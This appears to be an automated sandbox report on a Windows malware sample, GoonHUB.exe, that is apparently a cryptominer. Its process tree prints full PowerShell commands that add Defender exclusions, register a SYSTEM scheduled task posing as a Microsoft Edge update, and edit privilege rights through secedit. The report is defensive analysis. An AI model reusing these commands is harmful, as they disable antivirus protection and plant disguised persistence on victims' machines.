Analysis

  • max time kernel
    151s
  • max time network
    153s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    01/08/2026, 18:10

General

  • Target
    GoonHUB.exe
  • Size 27.0MB
  • Sample260801-wsf2faeg26
  • SHA256 d26e929339b80f1b00775958443377007c40071e7dbc18b39e255f412548adff
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 3 IoCs
  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Kills process with taskkill 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\GoonHUB.exe
    "C:\Users\Admin\AppData\Local\Temp\GoonHUB.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4704
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3480
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore'"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5064
    • C:\Windows\SYSTEM32\schtasks.exe
      schtasks /end /tn "\Microsoft\Windows\Customer Experience Improvement Program\MicrosoftEdgeUpdateTaskMachineCore"
      2⤵
        PID:5472
      • C:\Windows\SYSTEM32\cmd.exe
        cmd.exe /c taskkill /f /t /im microsoftedgeupdate.exe
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4504
        • C:\Windows\system32\taskkill.exe
          taskkill /f /t /im microsoftedgeupdate.exe
          3⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:548
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -WindowStyle Hidden -Command "$Action = New-ScheduledTaskAction -Execute '"C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe"' -Argument '--watcher' -WorkingDirectory '"C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore"'; $Trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 1) -RepetitionDuration (New-TimeSpan -Days 3650); $Principal = New-ScheduledTaskPrincipal -UserId 'SYSTEM' -LogonType ServiceAccount -RunLevel Highest; $Settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -MultipleInstances IgnoreNew; $Task = New-ScheduledTask -Action $Action -Trigger $Trigger -Principal $Principal -Settings $Settings; $Task.Author = 'Microsoft Corporation'; Register-ScheduledTask -TaskName '\Microsoft\Windows\Customer Experience Improvement Program\MicrosoftEdgeUpdateTaskMachineCore' -InputObject $Task -Force"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4244
      • C:\Windows\SYSTEM32\schtasks.exe
        schtasks /run /tn "\Microsoft\Windows\Customer Experience Improvement Program\MicrosoftEdgeUpdateTaskMachineCore"
        2⤵
          PID:4372
        • C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe
          "C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe" --monitor
          2⤵
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: GetForegroundWindowSpam
          PID:244
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -WindowStyle Hidden -Command "$cfg = \"$env:temp\secpol.cfg\"; secedit /export /cfg $cfg /quiet; $c = Get-Content $cfg; $hasPriv = $false; $newC = @(); foreach ($l in $c) { if ($l -match '^SeLockMemoryPrivilege') { $hasPriv = $true; if ($l -notmatch '\*S-1-5-32-544') { $l = $l + ',*S-1-5-32-544' } }; $newC += $l }; if (-not $hasPriv) { for ($i=0; $i -lt $newC.Length; $i++) { if ($newC[$i] -match '^\[Privilege Rights\]') { $newC = $newC[0..$i] + 'SeLockMemoryPrivilege = *S-1-5-32-544' + $newC[($i+1)..($newC.Length-1)]; break } } }; Set-Content -Path $cfg -Value $newC; secedit /configure /db $env:windir\security\database\secedit.sdb /cfg $cfg /areas USER_RIGHTS /quiet"
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:264
          • C:\Windows\system32\SecEdit.exe
            "C:\Windows\system32\SecEdit.exe" /export /cfg C:\Users\Admin\AppData\Local\Temp\secpol.cfg /quiet
            3⤵
              PID:6744
            • C:\Windows\system32\SecEdit.exe
              "C:\Windows\system32\SecEdit.exe" /configure /db C:\Windows\security\database\secedit.sdb /cfg C:\Users\Admin\AppData\Local\Temp\secpol.cfg /areas USER_RIGHTS /quiet
              3⤵
                PID:4900
          • C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe
            "C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe" --watcher
            1⤵
            • Executes dropped EXE
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:248
            • C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe
              "C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe" --mine
              2⤵
              • Executes dropped EXE
              PID:4324

          Network

                MITRE ATT&CK Enterprise v16

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                Downloads

                MicrosoftEdgeUpdate.exe

                • Path C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe
                • Size 27.0MB
                • SHA256 d26e929339b80f1b00775958443377007c40071e7dbc18b39e255f412548adff
                • MD5 SHA1 SHA512 SSDEEP TLSH

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 d28ef187840dcd1fe0a8a757ef9cd326023bec38b39ef1338f91d508d55dcf28
                • MD5 SHA1 SHA512 TLSH

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 3b8d81e755972d0b47d8ee2cf37e173b9a84dab83f69f47ee897a7db3500370d
                • MD5 SHA1 SHA512 TLSH

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 164b258e63ef106125faadc66ff629c318b55f5f1791636095d5d77f4501169a
                • MD5 SHA1 SHA512 TLSH

                __PSScriptPolicyTest_2mrhvahb.v5w.ps1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2mrhvahb.v5w.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512 TLSH

                sce54972.tmp

                • Path C:\Users\Admin\AppData\Local\Temp\sce54972.tmp
                • Size 16KB
                • SHA256 aa46df7fef63b27ef2b44d160f40de53f7012ac920e1d5d7405b44ab17acdc11
                • MD5 SHA1 SHA512 SSDEEP TLSH

                memory/3480-11-0x0000022372720000-0x00000223727D2000-memory.dmp

                memory/3480-21-0x00007FF8EB170000-0x00007FF8EBB14000-memory.dmp

                memory/3480-12-0x0000022372420000-0x000002237242A000-memory.dmp

                memory/3480-13-0x00007FF8EB170000-0x00007FF8EBB14000-memory.dmp

                memory/3480-14-0x00007FF8EB170000-0x00007FF8EBB14000-memory.dmp

                memory/3480-15-0x00007FF8EB170000-0x00007FF8EBB14000-memory.dmp

                memory/3480-16-0x00007FF8EB170000-0x00007FF8EBB14000-memory.dmp

                memory/3480-17-0x00007FF8EB170000-0x00007FF8EBB14000-memory.dmp

                memory/3480-19-0x00007FF8EB170000-0x00007FF8EBB14000-memory.dmp

                memory/3480-20-0x00007FF8EB170000-0x00007FF8EBB14000-memory.dmp

                memory/3480-18-0x00007FF8EB170000-0x00007FF8EBB14000-memory.dmp

                memory/3480-0-0x00007FF8EB2FF000-0x00007FF8EB300000-memory.dmp

                memory/3480-22-0x00007FF8EB170000-0x00007FF8EBB14000-memory.dmp

                memory/3480-24-0x00007FF8EB170000-0x00007FF8EBB14000-memory.dmp

                memory/3480-10-0x0000022372640000-0x000002237265E000-memory.dmp

                memory/3480-7-0x00007FF8EB170000-0x00007FF8EBB14000-memory.dmp

                memory/3480-6-0x00007FF8EB170000-0x00007FF8EBB14000-memory.dmp

                memory/3480-1-0x00007FF8EB170000-0x00007FF8EBB14000-memory.dmp

                memory/3480-4-0x00000223723E0000-0x0000022372402000-memory.dmp

                memory/3480-5-0x00007FF8EB170000-0x00007FF8EBB14000-memory.dmp

                memory/4244-37-0x00000261C3B50000-0x00000261C3B6E000-memory.dmp

                memory/4244-36-0x00000261C3A70000-0x00000261C3B22000-memory.dmp

                memory/4324-69-0x0000020B897F0000-0x0000020B89804000-memory.dmp

                memory/4324-68-0x0000020B897F0000-0x0000020B89804000-memory.dmp